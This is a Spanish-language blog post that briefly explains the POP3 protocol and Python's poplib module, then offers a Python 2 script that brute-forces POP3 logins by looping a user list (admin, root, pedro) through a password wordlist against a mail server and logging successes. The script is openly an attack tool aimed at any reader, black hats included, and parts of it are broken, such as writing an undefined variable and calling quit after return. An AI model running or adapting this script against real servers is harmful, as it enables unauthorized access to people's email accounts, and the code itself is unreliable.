Hola white hats, gray hats y black hats de la galaxia! En esta oportunidad (a raíz de unas pruebas que venía haciendo en un servidor) quiero compartir con ustedes un script que nos permitirá hacer fuerza bruta de usuarios y claves de un servidor POP.
Pero antes de empezar...de que se trata el protocolo POP?
Para los que no están familiarizados con este protocolo veamos rápidamente que función cumple:
En informática se utiliza el Post Office Protocol (POP3, Protocolo de Oficina de Correo o "Protocolo de Oficina Postal") en clientes locales de correo para obtener los mensajes de correo electrónico almacenados en un servidor remoto. Es un protocolo de nivel de aplicación en el Modelo OSI
POP3 está diseñado para recibir correo, no para enviarlo; le permite a los usuarios con conexiones intermitentes o muy lentas (tales como las conexiones por módem), descargar su correo electrónico mientras tienen conexión y revisarlo posteriormente incluso estando desconectados. Cabe mencionar que la mayoría de los clientes de correo incluyen la opción de dejar los mensajes en el servidor, de manera tal que, un cliente que utilice POP3 se conecta, obtiene todos los mensajes, los almacena en la computadora del usuario como mensajes nuevos, los elimina del servidor y finalmente se desconecta.
Si quieren leer un poco más, acá les dejo el enlace a su correspondiente RFC:
http://tools.ietf.org/html/rfc1725.html
Poplib, nuestra herramienta..
Para cumplir con la misión de esta entrada, utilizaremos el módulo poplib, cuyo código podemos descargar de:
https://hg.python.org/cpython/file/2.7/Lib/poplib.py
En este enlace podemos ver su documentación:
https://docs.python.org/2/library/poplib.html
Basicamente, este módulo nos permitirá conectarnos a un servidor POP3, autenticarnos y leer los correos.
Como podemos ver en la documentación, el módulo poplib posee dos clases:
class poplib.POP3(host[, port[, timeout]])
This class implements the actual POP3 protocol. The connection is created when the instance is initialized. If port is omitted, the standard POP3 port (110) is used. The optional timeout parameter specifies a timeout in seconds for the connection attempt (if not specified, the global default timeout setting will be used).
class poplib.POP3_SSL(host[, port[, keyfile[, certfile]]])
This is a subclass of POP3 that connects to the server over an SSL encrypted socket. If port is not specified, 995, the standard POP3-over-SSL port is used. keyfile and certfile are also optional - they can contain a PEM formatted private key and certificate chain file for the SSL connection.
Algunos de sus objetos (los que utilizaremos en nuestro script) son:
- POP3.user(username)
- Send user command, response should indicate that a password is required.
- POP3.pass_(password)
- Send password, response includes message count and mailbox size. Note: the mailbox on the server is locked until quit() is called.
Returns the greeting string sent by the POP3 server.
Ahora, que sucede si utilizamos este módulo junto a un proceso iterativo y nos conectamos al servidor una y otra vez para probar pares de usuario-contraseña y capturar la respuesta? Bingo, tenemos un script de fuerza bruta.
Knock, Knock, Knocking on Post Office´s doors
Lo primero que haremos en nuestro script será importar el módulo poplib y crear la función que se conectará al servidor:import getpass, poplib
def connPop(usr,password,k):
try:
print 'Trying user:', usr[k] , 'password:', password
M = poplib.POP3('dirección_del_servidor_POP') #usamos la clase poplib para conectar
M.user(usr[k]) #pasamos el usuario
M.pass_(password) #pasamos la clave
print 'USER', usr[k] , ':', M.getwelcome() #evaluamos el mensaje del servidor
log=open('log.txt','a')
log.write(data)
log.close()
mensaje = 0
return mensaje #si el par usuario-clave coincide se guarda en un archivo
#de lo contrario maneja el error con el except y nos devuelve el
except: #mensaje "LOGIN FAILED"
mensaje = 1
print 'USER', usr[k], 'and password:', password , ': LOGIN FAILED'
return mensaje
M.quit()
#A continuación definimos una función para verificar si una variable está vacía:
def nula(variable): # Implementamos la función.
if(len(variable)==0): # Preguntamos por la longitud de la variable.
return True # Si es 0 la funcion devuelve Verdadero(True)
else:
return False # Si la funcion no es cero, devolvemos Falso(False)
#Por último definimos el cuerpo del script:
usra = ['admin','root','pedro'] #lista que usaremos para probar usuarios
i = 0
archip=open('su_wordlist_preferida.txt','rb') #leemos el archivo de claves
while (i < 4): #acá deberán cambiar el valor dependiendo la cantidad de usuarios que #tengan en su lista
passwd = archip.readline()
passw = passwd.encode('ascii','strict')
print passw
mens = connPop(usra,passw,i) #llamamos a la función definida arriba y pasamos los print mens #parámetros usra,passw,i
ar_pass = nula(passw)
if mens==0: #si el mensaje es 0 (osea que nos fuimos a la rama del except)
i = i + 1 #incrementamos la variable i
if ar_pass==True: #si hemos probado todas las claves modificamos el puntero del archivo
i = i + 1 # de claves para que vuelva a leer desde el principio
archip.seek(0)
Cabe aclarar que dependiendo del formato de wordlist que usemos puede tirarnos un error ya que no lee las claves. Pueden notar que tuve que encodear la variable passw para que pueda ser leída por el módulo.
Eso es todo por ahora. Espero que sea de utilidad. Cualquier consulta no duden en escribirme. Nos vemos en algún punto de la galaxia.
Saludos y...
HAPPY JEDI HACKING!